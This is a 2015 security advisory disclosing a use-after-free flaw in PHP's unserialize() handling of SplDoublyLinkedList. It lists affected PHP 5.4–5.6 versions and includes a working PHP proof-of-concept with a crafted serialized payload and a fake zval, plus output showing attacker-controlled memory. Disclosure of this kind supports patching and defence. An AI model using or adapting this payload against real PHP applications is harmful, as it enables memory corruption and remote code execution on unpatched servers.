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#Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList

Taoguang Chen <@chtg> - Write Date: 2015.8.27 - Release Date: 2015.9.4

A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

	while(*p == ':') {
		++p;
		ALLOC_INIT_ZVAL(elem);
		if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) {
			zval_ptr_dtor(&elem);
			goto error;
		}

		spl_ptr_llist_push(intern->llist, elem TSRMLS_CC);
	}

It has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.

<?php

class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = 1;
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'i:1234;:i:1;';
$exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line:

$ php uafpoc.php
array(5) {
  [0]=>
  int(1)
  [1]=>
  &int(1)
  [2]=>
  object(obj)#2 (1) {
    ["ryat"]=>
    &int(1)
  }
  [3]=>
  array(1) {
    [0]=>
    int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
  }
  [4]=>
  string(24) "?v?B????"
}